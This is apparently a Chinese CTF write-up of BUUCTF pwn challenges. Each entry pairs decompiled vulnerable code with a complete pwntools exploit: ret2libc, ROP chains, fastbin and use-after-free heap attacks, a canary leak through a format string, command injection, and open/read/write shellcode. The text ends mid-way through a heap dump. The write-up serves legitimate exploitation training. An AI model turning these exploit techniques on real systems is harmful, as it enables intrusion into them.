BUU_PWN刷题_0x21-0x2F
[TOC]
0x20.jarvisoj_level3_x64
ret2libc
from pwn import *
context(log_level='debug')
##io = process("./level3_x64")
io = remote("node3.buuoj.cn",29779)
elf = ELF("./level3_x64")
libc = ELF("./libc-x64-2.23.so")
write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = elf.sym['main']
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
io.recv()
payload = 'a'*(0x88)+ p64(pop_rdi_ret)+p64(1)
payload += p64(pop_rsi_r15_ret) +p64(read_got)+p64(8)+p64(write_plt)+ p64(main_addr)
io.sendline(payload)
read_add = u64(io.recv()[0:8])
print hex(read_add)
base = read_add - libc.symbols["read"]
sys_add = base + libc.symbols["system"]
bin_sh = base + libc.search("/bin/sh").next()
payload = 'a'*(0x88)+p64(pop_rdi_ret)+p64(bin_sh)+p64(sys_add)+p64(main_addr)
io.sendline(payload)
io.interactive()
0x21.picoctf_2018_rop chain
win1():
void win_function1()
{
win1 = 1;
}
win2():
int __cdecl win_function2(int a1)
{
int result; // eax
result = (unsigned __int8)win1;
if ( win1 && a1 == 0xBAAAAAAD )
{
win2 = 1;
}
else if ( win1 )
{
result = puts("Wrong Argument. Try Again.");
}
else
{
result = puts("Nope. Try a little bit harder.");
}
return result;
}
flag():
int __cdecl flag(int a1)
{
char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
FILE *stream; // [esp+3Ch] [ebp-Ch]
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(s, 48, stream);
if ( win1 && win2 && a1 == 0xDEADBAAD )
return printf("%s", s);
if ( win1 && win2 )
return puts("Incorrect Argument. Remember, you can call other functions in between each win function!");
if ( win1 || win2 )
return puts("Nice Try! You're Getting There!");
return puts("You won't get the flag that easy..");
}
构造ROP链
from pwn import *
context(log_level='debug')
io = process("./PicoCTF_2018_rop_chain")
win1 = 0x80485CB
win2 = 0x80485D8
flag = 0x804862B
io.recv()
payload = 'a'*(0x18+4)+p32(win1) + p32(win2)+ p32(flag) + p32(0xBAAAAAAD) +p32(0xDEADBAAD)
io.sendline(payload)
io.interactive()
0x22.[ZJCTF 2019]EasyHeap
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
creat没有什么问题,但是edit有问题,可以重新写任意长度。
delete在free后相应的heaparray就置位0。
大致思路是这样
create(0x10,"a"*0x10)#idx0
create(0x80,"b"*0x10)#idx1
create(0x80,"c"*0x10)#idx2 防止与top chunk合并
delete(1)
edit(0,0x30,'a'*0x18+p64(0x91)+p64(0)+p64(magic-0x10))
io.recvuntil("your choice: ")
io.interactive(str(4869))
但是很可惜,buu他没有/home/pwn/flag这个文件,所以得用其他的方法了。
另一个思路:
- 首先create 3个chunk
- 使用house of sprite 技术,伪造chunk到heaparray附近,找一个地址开头为7f的来伪造相应大小的fastbin
pwndbg> x/32xw 0x6020a0 -3
0x60209d: 0x20000000 0x05212e06 0x0000007f 0x00000000
0x6020ad: 0xe0000000 0x05212df8 0x0000007f 0x00000000
0x6020bd: 0x00000000 0x00000000 0x00000000 0x00000000
0x6020cd: 0x00000000 0x00000000 0x00000000 0x00000000
0x6020dd: 0x10000000 0x0000db50 0x30000000 0x0000db50
0x6020ed <heaparray+13>: 0x50000000 0x0000db50 0x70000000 0x0000db50
0x6020fd <heaparray+29>: 0x00000000 0x00000000 0x00000000 0x00000000
0x60210d <heaparray+45>: 0x00000000 0x00000000 0x00000000 0x00000000
- 在chunk1写入/bin/sh,free掉chunk2
- edit chunk1,并修改chunk2的fd为0x6020b0 -3
- 之后malloc两次,并修改heaparray为free_got.
- 继续ecit0,将free_got改为system
- 再之后delete chunk1就能拿到shell
exp:
from pwn import *
context(log_level='debug')
##io = process("./easyheap")
io = remote("node3.buuoj.cn",26600)
elf = ELF("./easyheap")
def creat_heap(index,size,payload):
io.recvuntil("Your choice :")
io.sendline("1")
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap:")
io.sendline(payload)
def edit_heap(index,size,payload):
io.recvuntil("Your choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap : ")
io.sendline(payload)
def delete_heap(index):
io.recvuntil("Your choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(index))
heaparray = 0x6020b0
free_got = elf.got['free']
sys = elf.plt['system']
creat_heap(0,0x68,"a"*10)#idx0
creat_heap(1,0x68,"b"*10)#idx1
creat_heap(2,0x68,"c"*10)#idx2
delete_heap(2)
payload = "/bin/sh\x00" + p64(0)*12 + p64(0x71) +p64(heaparray - 3)
edit_heap(1,size(payload),payload)
payload = "\xaa"*3+p64(0)*4 + p64(free_got)
creat_heap(0,0x68,"aaa")#idx2
creat_heap(0,0x68,'a')#fake_chunk
edit_heap(3,len(payload),payload)
edit_heap(0,len(p64(sys)),p64(sys))
delete_heap(1)
io.interactive()
0x23.bjdctf_2020_babyrop2
gwt@ubuntu:~/Desktop$ checksec bjdctf_2020_babyrop2
[*] '/home/gwt/Desktop/bjdctf_2020_babyrop2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
开了对战不可执行和canary。
主函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
gift(argc, argv);
vuln();
return 0;
}
unsigned __int64 init()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("Can u return to libc ?");
puts("Try u best!");
return __readfsqword(0x28u) ^ v1;
}
unsigned __int64 gift()
{
char format[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("I'll give u some gift to help u!");
__isoc99_scanf("%6s", format);
printf(format);
puts(byte_400A05);
fflush(0LL);
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 vuln()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Pull up your sword and tell me u story!");
read(0, buf, 0x64uLL);
return __readfsqword(0x28u) ^ v2;
}
gift()中有格式化字符串,限制了长度,但是可以泄露canary值。
通过调试可以知道canary在格式化字符串的后面
格式化字符串偏移是6:
from pwn import *
context(log_level='debug')
io = process("./bjdctf_2020_babyrop2")
fmt_str = 0x0400A01
pop_rdi_ret = 0x0000000000400993
io.recv()
gdb.attach(io)
payload = "aa%6$p"
io.sendline(payload)
io.recv()
所以canary是7.
接下来就是简单的栈溢出了。
from pwn import *
context(log_level='debug')
##io = process("./bjdctf_2020_babyrop2")
io = remote("node3.buuoj.cn",26953)
elf = ELF("./bjdctf_2020_babyrop2")
libc = ELF("./libc-x64-2.23.so")
pop_rdi_ret = 0x0000000000400993
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = elf.sym['vuln']
io.recv()
payload = "%7$p"
io.sendline(payload)
canary = int(io.recv(18),16)
print ("canary-->",canary)
payload = "a"*(0x20 -8) +p64(canary) + p64(123) + p64(pop_rdi_ret) + p64(puts_got)+p64(puts_plt) + p64(vuln_addr)
io.sendlineafter("story!\n",payload)
puts_addr = u64(io.recv(6).ljust(8,"\x00"))
print ("puts-->",hex(puts_addr))
base = puts_addr - libc.sym['puts']
system = base + libc.sym['system']
bin_sh = base + libc.search('/bin/sh').next()
payload = b"a"*(0x18) +p64(canary) + p64(0) +p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.sendline(payload)
io.interactive()
0x24.jarvisoj_test_your_memory
看了看题目,以为会很难,,,,结果其实很简单,就是个简单的栈题。
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
char s2[11]; // [esp+1Dh] [ebp-13h] BYREF
int v6; // [esp+28h] [ebp-8h]
int i; // [esp+2Ch] [ebp-4h]
v6 = 10;
puts("\n\n\n------Test Your Memory!-------\n");
v3 = time(0);
srand(v3);
for ( i = 0; i < v6; ++i )
s2[i] = alphanum_2626[rand() % 0x3Eu];
printf("%s", s2);
mem_test(s2);
return 0;
}
int __cdecl mem_test(char *s2)
{
int result; // eax
char s[19]; // [esp+15h] [ebp-13h] BYREF
memset(s, 0, 0xBu);
puts("\nwhat???? : ");
printf("0x%x \n", hint);
puts("cff flag go go go ...\n");
printf("> ");
__isoc99_scanf("%s", s);
if ( !strncmp(s, s2, 4u) )
result = puts("good job!!\n");
else
result = puts("cff flag is failed!!\n");
return result;
}
exp:
from pwn import *
context(log_level='debug')
##io = process("./memory")
io = remote("node3.buuoj.cn",27913)
elf = ELF("./memory")
system = elf.sym['system']
cat_flag = 0x080487E0
main = elf.sym['main']
##io.recvuntil("> ")
payload = 'a'*(0x13+4) + p32(system)+p32(main) + p32(cat_flag)
io.sendline(payload)
io.interactive()
0x25.bjdctf_2020_router
emmm….这题怎么说呢看了半天,结果算是个脑洞题吧,就linux命令拼接。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-74h] BYREF
char buf[16]; // [rsp+10h] [rbp-70h] BYREF
char dest[8]; // [rsp+20h] [rbp-60h] BYREF
__int64 v7; // [rsp+28h] [rbp-58h]
int v8; // [rsp+30h] [rbp-50h]
char v9; // [rsp+34h] [rbp-4Ch]
char v10[56]; // [rsp+40h] [rbp-40h] BYREF
unsigned __int64 v11; // [rsp+78h] [rbp-8h]
v11 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
*(_QWORD *)dest = ' gnip';
v7 = 0LL;
v8 = 0;
v9 = 0;
v4 = 0;
puts("Welcome to BJDCTF router test program! ");
while ( 1 )
{
menu();
puts("Please input u choose:");
v4 = 0;
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1: // ping
puts("Please input the ip address:");
read(0, buf, 0x10uLL);
strcat(dest, buf);
system(dest);
puts("done!");
break;
case 2: // test
puts("bibibibbibibib~~~");
sleep(3u);
puts("ziziizzizi~~~");
sleep(3u);
puts("something wrong!");
puts("Test done!");
break;
case 3: // leave comments
puts("Please input what u want to say");
puts("Your suggest will help us to do better!");
read(0, v10, 0x3AuLL);
printf("Dear ctfer,your suggest is :%s", v10);
break;
case 4: // root
puts("Hey guys,u think too much!");
break;
case 5:
puts("Good Bye!");
exit(-1);
default:
puts("Functional development!");
break;
}
}
}
exp:
from pwn import *
context(log_level='debug')
##io = process("./bjdctf_2020_router")
io = remote("node3.buuoj.cn",28235)
io.recv()
io.sendline("1")
io.recv()
io.sendline("1&cat flag")
io.recv()
0x26.hitcontraining_uaf
一开始总是指针偏移的形式展示notelist,按y然后char * 或者char**就可以数组显示了。(int也可)
add:
int **add_note()
{
int **result; // eax
int **v1; // esi
char buf[8]; // [esp+0h] [ebp-18h] BYREF
size_t size; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]
result = count;
if ( count > 5 )
return puts("Full");
for ( i = 0; i <= 4; ++i )
{
result = (¬elist)[i];
if ( !result )
{
(¬elist)[i] = malloc(8u);
if ( !(¬elist)[i] )
{
puts("Alloca Error");
exit(-1);
}
*(¬elist)[i] = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v1 = (¬elist)[i];
v1[1] = malloc(size);
if ( !(¬elist)[i][1] )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, (¬elist)[i][1], size);
puts("Success !");
return ++count;
}
}
return result;
}
add中首先malloc了8,分别存放print_note_content和content的地址。
print:
int **print_note()
{
int **result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]
printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = (¬elist)[v2];
if ( result )
result = (*(¬elist)[v2])((¬elist)[v2]);
return result;
}
打印print_note_content((¬elist)[v2])。
delete:
_DWORD *del_note()
{
_DWORD *result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]
printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = (¬elist)[v2];
if ( result )
{
free((¬elist)[v2][1]);
free((¬elist)[v2]);
result = puts("Success");
}
return result;
}
del只是free并没有把指针置空,存在uaf
后面还有个后门函数magic
思路:
- 先创建两个,然后delete掉
pwndbg> bin
fastbins
0x10: 0x923a038 —▸ 0x923a000 ◂— 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x923a048 —▸ 0x923a010 ◂— 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
- 之后创建一个,往里面写magic的地址就OK
pwndbg> bin
fastbins
0x10: 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x923a048 —▸ 0x923a010 ◂— 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
exp:
from pwn import *
##io = process("./hacknote")
io = remote("node3.buuoj.cn",29112)
elf=ELF('./hacknote')
magic_addr=elf.symbols['magic']
context(log_level='debug')
def add_note(size,payload):
io.recvuntil("Your choice :")
io.sendline("1")
io.sendline(str(size))
io.recvuntil("Content :")
io.sendline(payload)
io.recvuntil("Success !")
def print_note(index):
io.recvuntil("Your choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(index))
def delete_note(index):
io.recvuntil("Your choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(index))
add_note(0x20,"aaaa")
add_note(0x20,"bbbb")
delete_note(0)
delete_note(1)
add_note(8,p32(magic_addr))
print_note(0)
io.interactive()
0x27.picoctf_2018_buffer overflow 1
int vuln()
{
int v0; // eax
char s[40]; // [esp+0h] [ebp-28h] BYREF
gets(s);
v0 = get_return_address();
return printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", v0);
}
int win()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}
exp:
from pwn import *
##io = process("./PicoCTF_2018_buffer_overflow_1")
io = remote("node3.buuoj.cn",27682)
win_add = 0x80485CB
payload = 'a'*(0x28+4) + p32(win_add)
io.recv()
io.sendline(payload)
io.interactive()
0x28.pwnable_orw
挺有意思的一个题。
gwt@ubuntu:~/Desktop$ checksec orw
[*] '/home/gwt/Desktop/orw'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
开了canary。
这题其实就是往里面写shellcode,但是写入到shellcode有要求。
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}
unsigned int orw_seccomp()
{
__int16 v1; // [esp+4h] [ebp-84h] BYREF
char *v2; // [esp+8h] [ebp-80h]
char v3[96]; // [esp+Ch] [ebp-7Ch] BYREF
unsigned int v4; // [esp+6Ch] [ebp-1Ch]
v4 = __readgsdword(0x14u);
qmemcpy(v3, &unk_8048640, sizeof(v3));
v1 = 12;
v2 = v3;
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1);
return __readgsdword(0x14u) ^ v4;
}
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。
seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
执行了两次prctl函数。
第一次调用prctl函数 ————禁止提权
第二次调用prctl函数 ————限制能执行的系统调用只有open,write,exit
那么就是,打开文件,读flag文件,然后输出flag文件内容。
- 打开flag,sys_open(file,0,0),系统调用号为5
push 0x0 #字符串结尾
push 0x67616c66 #flag
mov ebx,esp
xor ecx,ecx #0
xor edx,edx #0
mov eax,0x5
int 0x80
- 读文件,sys_read(fd=3,file,0x30),系统调用号为3
mov eax,0x3
mov ecx,ebx
mov ebx,0x3 #fd
mov edx,0x30
int 0x80
- 输出,sys_write(1,file,0x30),系统调用号为4
mov eax,0x4
mov ebx,0x1
int 0x80
exp:
from pwn import *
##io = remote("node3.buuoj.cn", 27008)
io = process("./orw")
shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
io.sendlineafter('shellcode:', shellcode)
io.interactive()
0x29.wustctf2020_getshell
一个水题。
exp:
from pwn import *
##io = process("./wustctf2020_getshell")
io = remote("node3.buuoj.cn",27728)
back_door = 0x0804851B
payload = 'a'*(0x18+4)+p32(back_door)
io.recv()
io.sendline(payload)
io.interactive()
0x2A.cmcc_simplerop
gwt@ubuntu:~/Desktop$ file simplerop
simplerop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=bdd40d725b490b97d5a25857a6273870c7de399f, not stripped
gwt@ubuntu:~/Desktop$ checksec simplerop
[*] '/home/gwt/Desktop/simplerop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
gwt@ubuntu:~/Desktop$
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-14h] BYREF
puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
return read(0, &v4, 100);
}
ida显示偏移是0x14,可以调试下。
使用cyclic生成一些测试的字符。
gwt@ubuntu:~$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
可以看出偏移:
Program received signal SIGSEGV (fault address 0x61616169)
pwndbg> cyclic -l 0x61616169
32
pwndbg>
是32 ,也就是0x20,(这里ida出了问题)
存在int 0x80 中断指令
gwt@ubuntu:~/Desktop$ ROPgadget --binary simplerop --ropchain | grep 'int 0x80'
0x08093b43 : add bh, al ; inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80
0x080493df : add byte ptr [eax], al ; int 0x80
0x08092190 : add byte ptr [eax], al ; mov eax, edi ; mov ecx, 0x81 ; int 0x80
0x08092191 : add byte ptr [ecx + 0x81b9f8], cl ; add byte ptr [eax], al ; int 0x80
0x0806c421 : add dword ptr [eax], eax ; add byte ptr [eax], al ; int 0x80
0x0806e908 : clc ; mov ecx, 0x80 ; int 0x80
0x08092193 : clc ; mov ecx, 0x81 ; int 0x80
0x08093b45 : inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80
0x080493e1 : int 0x80
0x0807b3ea : ja 0x807b3f0 ; add byte ptr [eax], al ; int 0x80
0x080b9851 : jp 0x80b985a ; int 0x80
0x080b9a77 : jp 0x80b9a81 ; int 0x80
0x08093b44 : mov dword ptr [ebp - 0x7c], 0x51 ; int 0x80
0x080493d9 : mov dword ptr [esp + 0x2c], 0x51 ; int 0x80
0x0807b3e9 : mov eax, 0x77 ; int 0x80
0x0807b3e0 : mov eax, 0xad ; int 0x80
0x0806c420 : mov eax, 1 ; int 0x80
0x0806e907 : mov eax, edi ; mov ecx, 0x80 ; int 0x80
0x08092192 : mov eax, edi ; mov ecx, 0x81 ; int 0x80
0x0806e909 : mov ecx, 0x80 ; int 0x80
0x08092194 : mov ecx, 0x81 ; int 0x80
0x0806eeef : nop ; int 0x80
0x0807b3df : nop ; mov eax, 0xad ; int 0x80
0x0806eeee : nop ; nop ; int 0x80
0x0807b3de : nop ; nop ; mov eax, 0xad ; int 0x80
0x0806eeec : nop ; nop ; nop ; int 0x80
0x0807b3dc : nop ; nop ; nop ; mov eax, 0xad ; int 0x80
0x0806eeea : nop ; nop ; nop ; nop ; int 0x80
0x0806eee8 : nop ; nop ; nop ; nop ; nop ; int 0x80
0x0807b3e7 : nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x0806c41f : or byte ptr [eax + 1], bh ; int 0x80
0x0807b3e8 : pop eax ; mov eax, 0x77 ; int 0x80
0x0806c41e : push cs ; or byte ptr [eax + 1], bh ; int 0x80
0x080b9a78 : push es ; int 0x80
0x08093b42 : sldt edi ; inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80
0x08093b46 : test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80
0x0806e905 : xor esi, esi ; mov eax, edi ; mov ecx, 0x80 ; int 0x80
[+] Gadget found: 0x80493e1 int 0x80
p += pack('<I', 0x080493e1) # int 0x80
或者:
gwt@ubuntu:~/Desktop$ ROPgadget --binary simplerop --only "pop|ret"
Gadgets information
============================================================
0x0809da92 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0807bf7d : pop ds ; ret
0x0809da8a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bae06 : pop eax ; ret
0x08071e3a : pop eax ; ret 0x80e
0x0805b3ad : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809de85 : pop ebp ; pop esi ; pop edi ; ret
0x0804838e : pop ebp ; ret
0x080a96e5 : pop ebp ; ret 0x10
0x080966d9 : pop ebp ; ret 0x14
0x08070a36 : pop ebp ; ret 0xc
0x0805ab34 : pop ebp ; ret 4
0x08049bc0 : pop ebp ; ret 8
0x0809de84 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080bd793 : pop ebx ; pop edi ; ret
0x0806e829 : pop ebx ; pop edx ; ret
0x08091f08 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a96e2 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x080966d6 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070a33 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ab31 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bbd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x080499d9 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a54 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d797c : pop ebx ; ret 0x6f9
0x08099937 : pop ebx ; ret 8
0x0806e851 : pop ecx ; pop ebx ; ret
存在:
0x080bae06 : pop eax ; ret
0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret
系统调用:int80(11,"/bin/sh",null,null),其中后面的四个参数分别是eax,ebx,ecx,edx。
但是没有/bin/sh字符串,需要输入,有read函数,将binsh写入bss段,然后直接调用,这题没有开PIE,bss的地址就是绝对地址。
ebx:文件描述符
ecx:指向要写入的字符串的指针
edx:要写入的字符串长度
payload:
payload = 'a'\*0x20 + p32(read_addr) + p32(pop_edcbx) + p32(0) + p32(binsh_addr) + p32(0x8)
payload += p32(pop_eax) + p32(0xb) + p32(pop_edcbx) + p32(0) +p32(0) + p32(binsh_addr) + p32(int_addr)
Exp:
from pwn import *
context(log_level='debug')
##io = process("./simplerop")
io = remote("node4.buuoj.cn",26293)
elf = ELF('./simplerop')
int_80 = 0x080493e1
pop_eax = 0x080bae06
pop_edx_ecx_ebx = 0x0806e850
read_addr = elf.sym['read']
bss_bin_sh_addr = 0x080EB590
payload = 'a'*0x20
payload += p32(read_addr)
payload += p32(pop_edx_ecx_ebx)
payload += p32(0)
payload += p32(bss_bin_sh_addr)
payload += p32(0x8)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(pop_edx_ecx_ebx)
payload += p32(0)
payload += p32(0)
payload += p32(bss_bin_sh_addr)
payload += p32(int_80)
io.recv()
io.send(payload)
io.send('/bin/sh')
io.interactive()
0x2B.babyfengshui_33c3_2016
gwt@ubuntu:~/Desktop$ checksec babyfengshui_33c3_2016
[*] '/home/gwt/Desktop/babyfengshui_33c3_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
void __cdecl __noreturn main()
{
char v0; // [esp+3h] [ebp-15h] BYREF
int v1; // [esp+4h] [ebp-14h] BYREF
int v2; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x14u);
while ( 1 )
{
puts("0: Add a user");
puts("1: Delete a user");
puts("2: Display a user");
puts("3: Update a user description");
puts("4: Exit");
printf("Action: ");
if ( __isoc99_scanf("%d", &v1) == -1 )
break;
if ( !v1 )
{
printf("size of description: ");
__isoc99_scanf("%u%c", &v2, &v0);
add(v2);
}
if ( v1 == 1 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
delete(v2);
}
if ( v1 == 2 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
display(v2);
}
if ( v1 == 3 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
update(v2);
}
if ( v1 == 4 )
{
puts("Bye");
exit(0);
}
if ( byte_804B069 > 0x31u )
{
puts("maximum capacity exceeded, bye");
exit(0);
}
}
exit(1);
}
add:
_DWORD *__cdecl add(int a1)
{
void *s; // [esp+14h] [ebp-14h]
_DWORD *v3; // [esp+18h] [ebp-10h]
s = malloc(a1);
memset(s, 0, a1);
v3 = malloc(0x80u);
memset(v3, 0, 0x80u);
*v3 = s;
*(&ptr + byte_804B069) = v3;
printf("name: ");
input(*(&ptr + byte_804B069) + 4, 124);
update(byte_804B069++);
return v3;
}
add函数申请了两次,其中把第一次申请的空间写入了第二次申请的空间,第二次申请的空间大小是固定的。
struct Node{
char * s;
char name[0x7C];
}
delete:
unsigned int __cdecl delete(unsigned __int8 a1)
{
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
if ( a1 < byte_804B069 && (&ptr)[a1] )
{
free(*(&ptr)[a1]);
free((&ptr)[a1]);
(&ptr)[a1] = 0;
}
return __readgsdword(0x14u) ^ v2;
}s
free并赋值为0.
display:
unsigned int __cdecl display(unsigned __int8 a1)
{
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
if ( a1 < byte_804B069 && *(&ptr + a1) )
{
printf("name: %s\n", *(&ptr + a1) + 4);
printf("description: %s\n", **(&ptr + a1));
}
return __readgsdword(0x14u) ^ v2;
}
update:
unsigned int __cdecl update(unsigned __int8 a1)
{
char v2; // [esp+17h] [ebp-11h] BYREF
int v3; // [esp+18h] [ebp-10h] BYREF
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
if ( a1 < byte_804B069 && (&ptr)[a1] )
{
v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (*(&ptr)[a1] + v3) >= (&ptr)[a1] - 1 )
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
input(*(&ptr)[a1], v3 + 1);
}
return __readgsdword(0x14u) ^ v4;
}
其中update中的:if ( (*(&ptr)[a1] + v3) >= (&ptr)[a1] - 1 )
,这里的判断有一些问题,chunk0和chunk0(name)其实不一定相邻的,这样就有了溢出的可能。
add(0x80,"aaaaa","bbbb")
add(0x80,"ccccc","ddddd")
pwndbg> x/80wx 0x804c000
0x804c000: 0x00000000 0x00000089 0x62626262 0x00000000 <=chunk0
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000089
